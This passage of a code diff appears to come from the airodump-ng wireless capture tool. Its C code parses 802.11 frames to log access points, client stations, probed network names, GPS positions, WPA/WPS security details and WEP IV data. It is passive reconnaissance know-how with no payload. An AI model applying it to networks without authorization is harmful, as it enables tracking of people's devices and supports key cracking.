+		memset(ap_cur->ac_channel.mcs_index, 0, MAX_AC_MCS_INDEX);
+	}
+
+	/* update the last time seen */
+
+	ap_cur->tlast = time(NULL);
+
+	/* only update power if packets comes from
+	 * the AP: either type == mgmt and SA == BSSID,
+	 * or FromDS == 1 and ToDS == 0 */
+
+	if (((h80211[1] & IEEE80211_FC1_DIR_MASK) == IEEE80211_FC1_DIR_NODS
+		 && memcmp(h80211 + 10, bssid, 6) == 0)
+		|| ((h80211[1] & IEEE80211_FC1_DIR_MASK) == IEEE80211_FC1_DIR_FROMDS))
+	{
+		ap_cur->power_index = (ap_cur->power_index + 1) % NB_PWR;
+		ap_cur->power_lvl[ap_cur->power_index] = ri->ri_power;
+
+		// Moving exponential average
+		// ma_new = alpha * new_sample + (1-alpha) * ma_old;
+		ap_cur->avg_power
+			= (int) (0.99f * ri->ri_power + (1.f - 0.99f) * ap_cur->avg_power);
+
+		if (ap_cur->avg_power > ap_cur->best_power)
+		{
+			ap_cur->best_power = ap_cur->avg_power;
+			memcpy(ap_cur->gps_loc_best, //-V512
+				   lopt.gps_loc,
+				   sizeof(float) * 5);
+		}
+
+		/* every packet in here comes from the AP */
+
+		if (lopt.gps_loc[0] > ap_cur->gps_loc_max[0])
+			ap_cur->gps_loc_max[0] = lopt.gps_loc[0];
+		if (lopt.gps_loc[1] > ap_cur->gps_loc_max[1])
+			ap_cur->gps_loc_max[1] = lopt.gps_loc[1];
+		if (lopt.gps_loc[2] > ap_cur->gps_loc_max[2])
+			ap_cur->gps_loc_max[2] = lopt.gps_loc[2];
+
+		if (lopt.gps_loc[0] < ap_cur->gps_loc_min[0])
+			ap_cur->gps_loc_min[0] = lopt.gps_loc[0];
+		if (lopt.gps_loc[1] < ap_cur->gps_loc_min[1])
+			ap_cur->gps_loc_min[1] = lopt.gps_loc[1];
+		if (lopt.gps_loc[2] < ap_cur->gps_loc_min[2])
+			ap_cur->gps_loc_min[2] = lopt.gps_loc[2];
+		//        printf("seqnum: %i\n", seq);
+
+		if (ap_cur->fcapt == 0 && ap_cur->fmiss == 0)
+			gettimeofday(&(ap_cur->ftimef), NULL);
+		if (ap_cur->last_seq != 0)
+			ap_cur->fmiss += (seq - ap_cur->last_seq - 1);
+		ap_cur->last_seq = (uint16_t) seq;
+		ap_cur->fcapt++;
+		gettimeofday(&(ap_cur->ftimel), NULL);
+
+		/* if we are writing to a file and want to make a continuous rolling log save the data here */
+		if (opt.record_data && opt.output_format_log_csv)
+		{
+			/* Write out our rolling log every time we see data from an AP */
+
+			dump_write_airodump_ng_logcsv_add_ap(
+				ap_cur, ri->ri_power, &lopt.gps_time, lopt.gps_loc);
+		}
+
+		//         if(ap_cur->fcapt >= QLT_COUNT) update_rx_quality();
+	}
+
+	switch (h80211[0])
+	{
+		case IEEE80211_FC0_SUBTYPE_BEACON:
+			ap_cur->nb_bcn++;
+			break;
+
+		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
+			/* reset the WPS state */
+			ap_cur->wps.state = 0xFF;
+			ap_cur->wps.ap_setup_locked = 0;
+			break;
+
+		default:
+			break;
+	}
+
+	ap_cur->nb_pkt++;
+
+	/* locate the station MAC in the 802.11 header */
+
+	switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
+	{
+		case IEEE80211_FC1_DIR_NODS:
+
+			/* if management, check that SA != BSSID */
+
+			if (memcmp(h80211 + 10, bssid, 6) == 0) goto skip_station;
+
+			memcpy(stmac, h80211 + 10, 6);
+			break;
+
+		case IEEE80211_FC1_DIR_TODS:
+
+			/* ToDS packet, must come from a client */
+
+			memcpy(stmac, h80211 + 10, 6);
+			break;
+
+		case IEEE80211_FC1_DIR_FROMDS:
+
+			/* FromDS packet, reject broadcast MACs */
+
+			if ((h80211[4] % 2) != 0) goto skip_station;
+			memcpy(stmac, h80211 + 4, 6);
+			break;
+
+		case IEEE80211_FC1_DIR_DSTODS:
+			goto skip_station;
+
+		default:
+			abort();
+	}
+
+	/* update our chained list of wireless stations */
+
+	st_cur = lopt.st_1st;
+	st_prv = NULL;
+
+	while (st_cur != NULL)
+	{
+		if (!memcmp(st_cur->stmac, stmac, 6)) break;
+
+		st_prv = st_cur;
+		st_cur = st_cur->next;
+	}
+
+	/* if it's a new client, add it */
+
+	if (st_cur == NULL)
+	{
+		if (!(st_cur = (struct ST_info *) calloc(1, sizeof(struct ST_info))))
+		{
+			perror("calloc failed");
+			return (1);
+		}
+
+		/* if mac is listed as unknown, remove it */
+		remove_namac(stmac);
+
+		memset(st_cur, 0, sizeof(struct ST_info));
+
+		if (lopt.st_1st == NULL)
+			lopt.st_1st = st_cur;
+		else
+			st_prv->next = st_cur;
+
+		memcpy(st_cur->stmac, stmac, 6);
+
+		if (st_cur->manuf == NULL)
+		{
+			st_cur->manuf = get_manufacturer(
+				st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2]);
+		}
+
+		st_cur->nb_pkt = 0;
+
+		st_cur->prev = st_prv;
+
+		st_cur->tinit = time(NULL);
+		st_cur->tlast = time(NULL);
+
+		st_cur->power = -1;
+		st_cur->best_power = -1;
+		st_cur->rate_to = -1;
+		st_cur->rate_from = -1;
+
+		st_cur->probe_index = -1;
+		st_cur->missed = 0;
+		st_cur->lastseq = 0;
+		st_cur->qos_fr_ds = 0;
+		st_cur->qos_to_ds = 0;
+		st_cur->channel = 0;
+
+		gettimeofday(&(st_cur->ftimer), NULL);
+
+		memcpy(st_cur->gps_loc_min, //-V512
+			   lopt.gps_loc,
+			   sizeof(st_cur->gps_loc_min));
+		memcpy(st_cur->gps_loc_max, //-V512
+			   lopt.gps_loc,
+			   sizeof(st_cur->gps_loc_max));
+		memcpy( //-V512
+			st_cur->gps_loc_best,
+			lopt.gps_loc,
+			sizeof(st_cur->gps_loc_best));
+
+		for (i = 0; i < NB_PRB; i++)
+		{
+			memset(st_cur->probes[i], 0, sizeof(st_cur->probes[i]));
+			st_cur->ssid_length[i] = 0;
+		}
+
+		lopt.st_end = st_cur;
+	}
+
+	if (st_cur->base == NULL || memcmp(ap_cur->bssid, BROADCAST, 6) != 0)
+		st_cur->base = ap_cur;
+
+	// update bitrate to station
+	if ((h80211[1] & 3) == 2) st_cur->rate_to = ri->ri_rate;
+
+	/* update the last time seen */
+
+	st_cur->tlast = time(NULL);
+
+	/* only update power if packets comes from the
+	 * client: either type == Mgmt and SA != BSSID,
+	 * or FromDS == 0 and ToDS == 1 */
+
+	if (((h80211[1] & IEEE80211_FC1_DIR_MASK) == IEEE80211_FC1_DIR_NODS
+		 && memcmp(h80211 + 10, bssid, 6) != 0)
+		|| ((h80211[1] & IEEE80211_FC1_DIR_MASK) == IEEE80211_FC1_DIR_TODS))
+	{
+		st_cur->power = ri->ri_power;
+		if (ri->ri_power > st_cur->best_power)
+		{
+			st_cur->best_power = ri->ri_power;
+			memcpy(ap_cur->gps_loc_best, //-V512
+				   lopt.gps_loc,
+				   sizeof(st_cur->gps_loc_best));
+		}
+
+		st_cur->rate_from = ri->ri_rate;
+		if (ri->ri_channel > 0 && ri->ri_channel <= HIGHEST_CHANNEL)
+			st_cur->channel = ri->ri_channel;
+		else
+			st_cur->channel = lopt.channel[cardnum];
+
+		if (lopt.gps_loc[0] > st_cur->gps_loc_max[0])
+			st_cur->gps_loc_max[0] = lopt.gps_loc[0];
+		if (lopt.gps_loc[1] > st_cur->gps_loc_max[1])
+			st_cur->gps_loc_max[1] = lopt.gps_loc[1];
+		if (lopt.gps_loc[2] > st_cur->gps_loc_max[2])
+			st_cur->gps_loc_max[2] = lopt.gps_loc[2];
+
+		if (lopt.gps_loc[0] < st_cur->gps_loc_min[0])
+			st_cur->gps_loc_min[0] = lopt.gps_loc[0];
+		if (lopt.gps_loc[1] < st_cur->gps_loc_min[1])
+			st_cur->gps_loc_min[1] = lopt.gps_loc[1];
+		if (lopt.gps_loc[2] < st_cur->gps_loc_min[2])
+			st_cur->gps_loc_min[2] = lopt.gps_loc[2];
+
+		if (st_cur->lastseq != 0)
+		{
+			msd = seq - st_cur->lastseq - 1;
+			if (msd > 0 && msd < 1000) st_cur->missed += msd;
+		}
+		st_cur->lastseq = (uint16_t) seq;
+
+		/* if we are writing to a file and want to make a continuous rolling log save the data here */
+		if (opt.record_data && opt.output_format_log_csv)
+		{
+			/* Write out our rolling log every time we see data from a client */
+			dump_write_airodump_ng_logcsv_add_client(
+				ap_cur, st_cur, ri->ri_power, &lopt.gps_time, lopt.gps_loc);
+		}
+	}
+
+	st_cur->nb_pkt++;
+
+skip_station:
+
+	/* packet parsing: Probe Request */
+
+	if (h80211[0] == IEEE80211_FC0_SUBTYPE_PROBE_REQ && st_cur != NULL)
+	{
+		p = h80211 + 24;
+
+		while (p < h80211 + caplen)
+		{
+			if (p + 2 + p[1] > h80211 + caplen) break;
+
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
+				&& (p[1] > 1 || p[2] != ' '))
+			{
+				n = MIN(ESSID_LENGTH, p[1]);
+
+				for (i = 0; i < n; i++)
+					if (p[2 + i] > 0 && p[2 + i] < ' ') goto skip_probe;
+
+				/* got a valid ASCII probed ESSID, check if it's
+				   already in the ring buffer */
+
+				for (i = 0; i < NB_PRB; i++)
+					if (memcmp(st_cur->probes[i], p + 2, n) == 0)
+						goto skip_probe;
+
+				st_cur->probe_index = (st_cur->probe_index + 1) % NB_PRB;
+				memset(st_cur->probes[st_cur->probe_index], 0, 256);
+				memcpy(
+					st_cur->probes[st_cur->probe_index], p + 2, n); // twice?!
+				st_cur->ssid_length[st_cur->probe_index] = (int) n;
+
+				if (verifyssid((const unsigned char *)
+								   st_cur->probes[st_cur->probe_index])
+					== 0)
+					for (i = 0; i < n; i++)
+					{
+						c = p[2 + i];
+						if (c < 32) c = '.';
+						st_cur->probes[st_cur->probe_index][i] = c;
+					}
+			}
+
+			p += 2 + p[1];
+		}
+	}
+
+skip_probe:
+
+	/* packet parsing: Beacon or Probe Response */
+
+	if (h80211[0] == IEEE80211_FC0_SUBTYPE_BEACON
+		|| h80211[0] == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
+	{
+		if (!(ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)))
+		{
+			if ((h80211[34] & 0x10) >> 4)
+				ap_cur->security |= STD_WEP | ENC_WEP;
+			else
+				ap_cur->security |= STD_OPN;
+		}
+
+		ap_cur->preamble = (h80211[34] & 0x20) >> 5;
+
+		unsigned long long * tstamp = (unsigned long long *) (h80211 + 24);
+		ap_cur->timestamp = letoh64(*tstamp);
+
+		p = h80211 + 36;
+
+		while (p < h80211 + caplen)
+		{
+			if (p + 2 + p[1] > h80211 + caplen) break;
+
+			// only update the essid length if the new length is > the old one
+			if (p[0] == 0x00 && (ap_cur->ssid_length < p[1]))
+				ap_cur->ssid_length = p[1];
+
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
+				&& (p[1] > 1 || p[2] != ' '))
+			{
+				/* found a non-cloaked ESSID */
+				n = MIN(ESSID_LENGTH, p[1]);
+
+				memset(ap_cur->essid, 0, ESSID_LENGTH + 1);
+				memcpy(ap_cur->essid, p + 2, n);
+
+				if (opt.f_ivs != NULL && !ap_cur->essid_stored)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags |= IVS2_ESSID;
+					ivs2.len += ap_cur->ssid_length;
+
+					if (memcmp(lopt.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(lopt.prev_bssid, ap_cur->bssid, 6);
+					}
+
+					/* write header */
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (1);
+					}
+
+					/* write BSSID */
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, opt.f_ivs)
+							!= (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (1);
+						}
+					}
+
+					/* write essid */
+					if (fwrite(ap_cur->essid,
+							   1,
+							   (size_t) ap_cur->ssid_length,
+							   opt.f_ivs)
+						!= (size_t) ap_cur->ssid_length)
+					{
+						perror("fwrite(IV essid) failed");
+						return (1);
+					}
+
+					ap_cur->essid_stored = 1;
+				}
+
+				if (verifyssid(ap_cur->essid) == 0)
+					for (i = 0; i < n; i++)
+						if (ap_cur->essid[i] < 32) ap_cur->essid[i] = '.';
+			}
+
+			/* get the maximum speed in Mb and the AP's channel */
+
+			if (p[0] == 0x01 || p[0] == 0x32)
+			{
+				if (ap_cur->max_speed < (p[1 + p[1]] & 0x7F) / 2)
+					ap_cur->max_speed = (p[1 + p[1]] & 0x7F) / 2;
+			}
+
+			if (p[0] == 0x03)
+			{
+				ap_cur->channel = p[2];
+			}
+			else if (p[0] == 0x3d)
+			{
+				if (ap_cur->standard[0] == '\0')
+				{
+					ap_cur->standard[0] = 'n';
+				}
+
+				/* also get the channel from ht information->primary channel */
+				ap_cur->channel = p[2];
+
+				// Get channel width and secondary channel
+				switch (p[3] % 4)
+				{
+					case 0:
+						// 20MHz
+						ap_cur->channel_width = CHANNEL_20MHZ;
+						break;
+					case 1:
+						// Above
+						ap_cur->n_channel.sec_channel = 1;
+						switch (ap_cur->channel_width)
+						{
+							case CHANNEL_UNKNOWN_WIDTH:
+							case CHANNEL_3MHZ:
+							case CHANNEL_5MHZ:
+							case CHANNEL_10MHZ:
+							case CHANNEL_20MHZ:
+							case CHANNEL_22MHZ:
+							case CHANNEL_30MHZ:
+							case CHANNEL_20_OR_40MHZ:
+								ap_cur->channel_width = CHANNEL_40MHZ;
+								break;
+							default:
+								break;
+						}
+						break;
+					case 2:
+						// Reserved
+						break;
+					case 3:
+						// Below
+						ap_cur->n_channel.sec_channel = -1;
+						switch (ap_cur->channel_width)
+						{
+							case CHANNEL_UNKNOWN_WIDTH:
+							case CHANNEL_3MHZ:
+							case CHANNEL_5MHZ:
+							case CHANNEL_10MHZ:
+							case CHANNEL_20MHZ:
+							case CHANNEL_22MHZ:
+							case CHANNEL_30MHZ:
+							case CHANNEL_20_OR_40MHZ:
+								ap_cur->channel_width = CHANNEL_40MHZ;
+								break;
+							default:
+								break;
+						}
+						break;
+					default:
+						break;
+				}
+
+				ap_cur->n_channel.any_chan_width = (uint8_t)((p[3] / 4) % 2);
+			}
+
+			// HT capabilities
+			if (p[0] == 0x2d && p[1] > 18)
+			{
+				if (ap_cur->standard[0] == '\0')
+				{
+					ap_cur->standard[0] = 'n';
+				}
+
+				// Short GI for 20/40MHz
+				ap_cur->n_channel.short_gi_20 = (uint8_t)((p[3] / 32) % 2);
+				ap_cur->n_channel.short_gi_40 = (uint8_t)((p[3] / 64) % 2);
+
+				// Parse MCS rate
+				/*
+				 * XXX: Sometimes TX and RX spatial stream # differ and none of
+				 * the beacon
+				 * have that. If someone happens to have such AP, open an issue
+				 * with it.
+				 * Ref:
+				 * https://www.wireshark.org/lists/wireshark-bugs/201307/msg00098.html
+				 * See IEEE standard 802.11-2012 table 8.126
+				 *
+				 * For now, just figure out the highest MCS rate.
+				 */
+				if (ap_cur->n_channel.mcs_index == -1)
+				{
+					uint32_t rx_mcs_bitmask = 0;
+					memcpy(&rx_mcs_bitmask, p + 5, sizeof(uint32_t));
+					while (rx_mcs_bitmask)
+					{
+						++(ap_cur->n_channel.mcs_index);
+						rx_mcs_bitmask /= 2;
+					}
+				}
+			}
+
+			// VHT Capabilities
+			if (p[0] == 0xbf && p[1] >= 12)
+			{
+				// Standard is AC
+				strcpy(ap_cur->standard, "ac");
+
+				ap_cur->ac_channel.split_chan = (uint8_t)((p[3] / 4) % 4);
+
+				ap_cur->ac_channel.short_gi_80 = (uint8_t)((p[3] / 32) % 2);
+				ap_cur->ac_channel.short_gi_160 = (uint8_t)((p[3] / 64) % 2);
+
+				ap_cur->ac_channel.mu_mimo = (uint8_t)((p[4] & 0b11000) % 2);
+
+				// A few things indicate Wave 2: MU-MIMO, 80+80 Channels
+				ap_cur->ac_channel.wave_2
+					= (uint8_t)((ap_cur->ac_channel.mu_mimo
+								 || ap_cur->ac_channel.split_chan)
+								% 2);
+
+				// Maximum rates (16 bit)
+				uint16_t tx_mcs = 0;
+				memcpy(&tx_mcs, p + 10, sizeof(uint16_t));
+
+				// Maximum of 8 SS, each uses 2 bits
+				for (uint8_t stream_idx = 0; stream_idx < MAX_AC_MCS_INDEX;
+					 ++stream_idx)
+				{
+					uint8_t mcs = (uint8_t)(tx_mcs % 4);
+
+					// Unsupported -> No more spatial stream
+					if (mcs == 3)
+					{
+						break;
+					}
+					switch (mcs)
+					{
+						case 0:
+							// support of MCS 0-7
+							ap_cur->ac_channel.mcs_index[stream_idx] = 7;
+							break;
+						case 1:
+							// support of MCS 0-8
+							ap_cur->ac_channel.mcs_index[stream_idx] = 8;
+							break;
+						case 2:
+							// support of MCS 0-9
+							ap_cur->ac_channel.mcs_index[stream_idx] = 9;
+							break;
+						default:
+							break;
+					}
+
+					// Next spatial stream
+					tx_mcs /= 4;
+				}
+			}
+
+			// VHT Operations
+			if (p[0] == 0xc0 && p[1] >= 3)
+			{
+				// Standard is AC
+				strcpy(ap_cur->standard, "ac");
+
+				// Channel width
+				switch (p[2])
+				{
+					case 0:
+						// 20 or 40MHz
+						ap_cur->channel_width = CHANNEL_20_OR_40MHZ;
+						break;
+					case 1:
+						ap_cur->channel_width = CHANNEL_80MHZ;
+						break;
+					case 2:
+						ap_cur->channel_width = CHANNEL_160MHZ;
+						break;
+					case 3:
+						// 80+80MHz
+						ap_cur->channel_width = CHANNEL_80_80MHZ;
+						ap_cur->ac_channel.split_chan = 1;
+						break;
+					default:
+						break;
+				}
+
+				// 802.11ac channel center segments
+				ap_cur->ac_channel.center_sgmt[0] = p[3];
+				ap_cur->ac_channel.center_sgmt[1] = p[4];
+			}
+
+			// Next
+			p += 2 + p[1];
+		}
+
+		// Now get max rate
+		if (ap_cur->standard[0] == 'n' || strcmp(ap_cur->standard, "ac") == 0)
+		{
+			int sgi = 0;
+			int width = 0;
+
+			switch (ap_cur->channel_width)
+			{
+				case CHANNEL_20MHZ:
+					width = 20;
+					sgi = ap_cur->n_channel.short_gi_20;
+					break;
+				case CHANNEL_20_OR_40MHZ:
+				case CHANNEL_40MHZ:
+					width = 40;
+					sgi = ap_cur->n_channel.short_gi_40;
+					break;
+				case CHANNEL_80MHZ:
+					width = 80;
+					sgi = ap_cur->ac_channel.short_gi_80;
+					break;
+				case CHANNEL_80_80MHZ:
+				case CHANNEL_160MHZ:
+					width = 160;
+					sgi = ap_cur->ac_channel.short_gi_160;
+					break;
+				default:
+					break;
+			}
+
+			if (width != 0)
+			{
+				// In case of ac, get the amount of spatial streams
+				int amount_ss = 1;
+				if (ap_cur->standard[0] != 'n')
+				{
+					for (amount_ss = 0;
+						 amount_ss < MAX_AC_MCS_INDEX
+						 && ap_cur->ac_channel.mcs_index[amount_ss] != 0;
+						 ++amount_ss)
+						;
+				}
+
+				// Get rate
+				float max_rate
+					= (ap_cur->standard[0] == 'n')
+						  ? get_80211n_rate(
+								width, sgi, ap_cur->n_channel.mcs_index)
+						  : get_80211ac_rate(
+								width,
+								sgi,
+								ap_cur->ac_channel.mcs_index[amount_ss - 1],
+								amount_ss);
+
+				// If no error, update rate
+				if (max_rate > 0)
+				{
+					ap_cur->max_speed = (int) max_rate;
+				}
+			}
+		}
+	}
+
+	/* packet parsing: Beacon & Probe response */
+	/* TODO: Merge this if and the one above */
+	if ((h80211[0] == IEEE80211_FC0_SUBTYPE_BEACON
+		 || h80211[0] == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
+		&& caplen > 38)
+	{
+		p = h80211 + 36; // ignore hdr + fixed params
+
+		while (p < h80211 + caplen)
+		{
+			type = p[0];
+			length = p[1];
+			if (p + 2 + length > h80211 + caplen)
+			{
+				/*                printf("error parsing tags! %p vs. %p (tag:
+				%i, length: %i,position: %i)\n", (p+2+length), (h80211+caplen),
+				type, length, (p-h80211));
+				exit(1);*/
+				break;
+			}
+
+			// Find WPA and RSN tags
+			if ((type == 0xDD && (length >= 8)
+				 && (memcmp(p + 2, "\x00\x50\xF2\x01\x01\x00", 6) == 0))
+				|| (type == 0x30))
+			{
+				ap_cur->security &= ~(STD_WEP | ENC_WEP | STD_WPA);
+
+				org_p = p;
+				offset = 0;
+
+				if (type == 0xDD)
+				{
+					// WPA defined in vendor specific tag -> WPA1 support
+					ap_cur->security |= STD_WPA;
+					offset = 4;
+				}
+
+				// RSN => WPA2
+				if (type == 0x30)
+				{
+					offset = 0;
+				}
+
+				if (length < (18 + offset))
+				{
+					p += length + 2;
+					continue;
+				}
+
+				// Number of pairwise cipher suites
+				if (p + 9 + offset > h80211 + caplen) break;
+				numuni = p[8 + offset] + (p[9 + offset] << 8);
+
+				// Number of Authentication Key Managament suites
+				if (p + (11 + offset) + 4 * numuni > h80211 + caplen) break;
+				numauth = p[(10 + offset) + 4 * numuni]
+						  + (p[(11 + offset) + 4 * numuni] << 8);
+
+				p += (10 + offset);
+
+				if (type != 0x30)
+				{
+					if (p + (4 * numuni) + (2 + 4 * numauth) > h80211 + caplen)
+						break;
+				}
+				else
+				{
+					if (p + (4 * numuni) + (2 + 4 * numauth) + 2
+						> h80211 + caplen)
+						break;
+				}
+
+				// Get the list of cipher suites
+				for (i = 0; i < (size_t) numuni; i++)
+				{
+					switch (p[i * 4 + 3])
+					{
+						case 0x01:
+							ap_cur->security |= ENC_WEP;
+							break;
+						case 0x02:
+							ap_cur->security |= ENC_TKIP;
+							ap_cur->security &= ~STD_WPA2;
+							break;
+						case 0x03:
+							ap_cur->security |= ENC_WRAP;
+							break;
+						case 0x0A:
+						case 0x04:
+							ap_cur->security |= ENC_CCMP;
+							ap_cur->security |= STD_WPA2;
+							break;
+						case 0x05:
+							ap_cur->security |= ENC_WEP104;
+							break;
+						case 0x08:
+						case 0x09:
+							ap_cur->security |= ENC_GCMP;
+							ap_cur->security |= STD_WPA2;
+							break;
+						case 0x0B:
+						case 0x0C:
+							ap_cur->security |= ENC_GMAC;
+							ap_cur->security |= STD_WPA2;
+							break;
+						default:
+							break;
+					}
+				}
+
+				p += 2 + 4 * numuni;
+
+				// Get the AKM suites
+				for (i = 0; i < numauth; i++)
+				{
+					switch (p[i * 4 + 3])
+					{
+						case 0x01:
+							ap_cur->security |= AUTH_MGT;
+							break;
+						case 0x02:
+							ap_cur->security |= AUTH_PSK;
+							break;
+						case 0x06:
+						case 0x0d:
+							ap_cur->security |= AUTH_CMAC;
+							break;
+						case 0x08:
+							ap_cur->security |= AUTH_SAE;
+							break;
+						case 0x12:
+							ap_cur->security |= AUTH_OWE;
+							break;
+						default:
+							break;
+					}
+				}
+
+				p = org_p + length + 2;
+			}
+			else if ((type == 0xDD && (length >= 8)
+					  && (memcmp(p + 2, "\x00\x50\xF2\x02\x01\x01", 6) == 0)))
+			{
+				// QoS IE
+				ap_cur->security |= STD_QOS;
+				p += length + 2;
+			}
+			else if ((type == 0xDD && (length >= 4)
+					  && (memcmp(p + 2, "\x00\x50\xF2\x04", 4) == 0)))
+			{
+				// WPS IE
+				org_p = p;
+				p += 6;
+				int len = length, subtype = 0, sublen = 0;
+				while (len >= 4)
+				{
+					subtype = (p[0] << 8) + p[1];
+					sublen = (p[2] << 8) + p[3];
+					if (sublen > len) break;
+					switch (subtype)
+					{
+						case 0x104a: // WPS Version
+							ap_cur->wps.version = p[4];
+							break;
+						case 0x1011: // Device Name
+						case 0x1012: // Device Password ID
+						case 0x1021: // Manufacturer
+						case 0x1023: // Model
+						case 0x1024: // Model Number
+						case 0x103b: // Response Type
+						case 0x103c: // RF Bands
+						case 0x1041: // Selected Registrar
+						case 0x1042: // Serial Number
+							break;
+						case 0x1044: // WPS State
+							ap_cur->wps.state = p[4];
+							break;
+						case 0x1047: // UUID Enrollee
+						case 0x1049: // Vendor Extension
+							if (memcmp(&p[4], "\x00\x37\x2A", 3) == 0)
+							{
+								unsigned char * pwfa = &p[7];
+								int wfa_len = ntohs(*((short *) &p[2]));
+								while (wfa_len > 0)
+								{
+									if (*pwfa == 0)
+									{ // Version2
+										ap_cur->wps.version = pwfa[2];
+										break;
+									}
+									wfa_len -= pwfa[1] + 2;
+									pwfa += pwfa[1] + 2;
+								}
+							}
+							break;
+						case 0x1054: // Primary Device Type
+							break;
+						case 0x1057: // AP Setup Locked
+							ap_cur->wps.ap_setup_locked = p[4];
+							break;
+						case 0x1008: // Config Methods
+						case 0x1053: // Selected Registrar Config Methods
+							ap_cur->wps.meth = (p[4] << 8) + p[5];
+							break;
+						default: // Unknown type-length-value
+							break;
+					}
+					p += sublen + 4;
+					len -= sublen + 4;
+				}
+				p = org_p + length + 2;
+			}
+			else
+				p += length + 2;
+		}
+	}
+
+	/* packet parsing: Authentication Response */
+
+	if (h80211[0] == IEEE80211_FC0_SUBTYPE_AUTH && caplen >= 30)
+	{
+		if (ap_cur->security & STD_WEP)
+		{
+			// successful step 2 or 4 (coming from the AP)
+			if (memcmp(h80211 + 28, "\x00\x00", 2) == 0
+				&& (h80211[26] == 0x02 || h80211[26] == 0x04))
+			{
+				ap_cur->security &= ~(AUTH_OPN | AUTH_PSK | AUTH_MGT);
+				if (h80211[24] == 0x00) ap_cur->security |= AUTH_OPN;
+				if (h80211[24] == 0x01) ap_cur->security |= AUTH_PSK;
+			}
+		}
+	}
+
+	/* packet parsing: Association Request */
+
+	if (h80211[0] == IEEE80211_FC0_SUBTYPE_ASSOC_REQ && caplen > 28)
+	{
+		p = h80211 + 28;
+
+		while (p < h80211 + caplen)
+		{
+			if (p + 2 + p[1] > h80211 + caplen) break;
+
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
+				&& (p[1] > 1 || p[2] != ' '))
+			{
+				/* found a non-cloaked ESSID */
+				n = MIN(ESSID_LENGTH, p[1]);
+
+				memset(ap_cur->essid, 0, ESSID_LENGTH + 1);
+				memcpy(ap_cur->essid, p + 2, n);
+				ap_cur->ssid_length = (int) n;
+
+				if (opt.f_ivs != NULL && !ap_cur->essid_stored)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags |= IVS2_ESSID;
+					ivs2.len += ap_cur->ssid_length;
+
+					if (memcmp(lopt.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(lopt.prev_bssid, ap_cur->bssid, 6);
+					}
+
+					/* write header */
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (1);
+					}
+
+					/* write BSSID */
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, opt.f_ivs)
+							!= (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (1);
+						}
+					}
+
+					/* write essid */
+					if (fwrite(ap_cur->essid,
+							   1,
+							   (size_t) ap_cur->ssid_length,
+							   opt.f_ivs)
+						!= (size_t) ap_cur->ssid_length)
+					{
+						perror("fwrite(IV essid) failed");
+						return (1);
+					}
+
+					ap_cur->essid_stored = 1;
+				}
+
+				if (verifyssid(ap_cur->essid) == 0)
+					for (i = 0; i < n; i++)
+						if (ap_cur->essid[i] < 32) ap_cur->essid[i] = '.';
+			}
+
+			p += 2 + p[1];
+		}
+		if (st_cur != NULL) st_cur->wpa.state = 0;
+	}
+
+	/* packet parsing: some data */
+
+	if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_DATA)
+	{
+		/* update the channel if we didn't get any beacon */
+
+		if (ap_cur->channel == -1)
+		{
+			if (ri->ri_channel > 0 && ri->ri_channel <= HIGHEST_CHANNEL)
+				ap_cur->channel = ri->ri_channel;
+			else
+				ap_cur->channel = lopt.channel[cardnum];
+		}
+
+		/* check the SNAP header to see if data is encrypted */
+
+		z = ((h80211[1] & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS)
+				? 24
+				: 30;
+
+		/* Check if 802.11e (QoS) */
+		if ((h80211[0] & 0x80) == 0x80)
+		{
+			z += 2;
+			if (st_cur != NULL)
+			{
+				if ((h80211[1] & 3) == 1) // ToDS
+					st_cur->qos_to_ds = 1;
+				else
+					st_cur->qos_fr_ds = 1;
+			}
+		}
+		else
+		{
+			if (st_cur != NULL)
+			{
+				if ((h80211[1] & 3) == 1) // ToDS
+					st_cur->qos_to_ds = 0;
+				else
+					st_cur->qos_fr_ds = 0;
+			}
+		}
+
+		if (z == 24)
+		{
+			if (list_check_decloak(&(ap_cur->packets), caplen, h80211) != 0)
+			{
+				list_add_packet(&(ap_cur->packets), caplen, h80211);
+			}
+			else
+			{
+				ap_cur->is_decloak = 1;
+				ap_cur->decloak_detect = 0;
+				list_tail_free(&(ap_cur->packets));
+				memset(lopt.message, '\x00', sizeof(lopt.message));
+				snprintf(lopt.message,
+						 sizeof(lopt.message) - 1,
+						 "][ Decloak: %02X:%02X:%02X:%02X:%02X:%02X ",
+						 ap_cur->bssid[0],
+						 ap_cur->bssid[1],
+						 ap_cur->bssid[2],
+						 ap_cur->bssid[3],
+						 ap_cur->bssid[4],
+						 ap_cur->bssid[5]);
+			}
+		}
+
+		if (z + 26 > (unsigned) caplen) goto write_packet;
+
+		if (h80211[z] == h80211[z + 1] && h80211[z + 2] == 0x03)
+		{
+			//            if( ap_cur->encryption < 0 )
+			//                ap_cur->encryption = 0;
+
+			/* if ethertype == IPv4, find the LAN address */
+
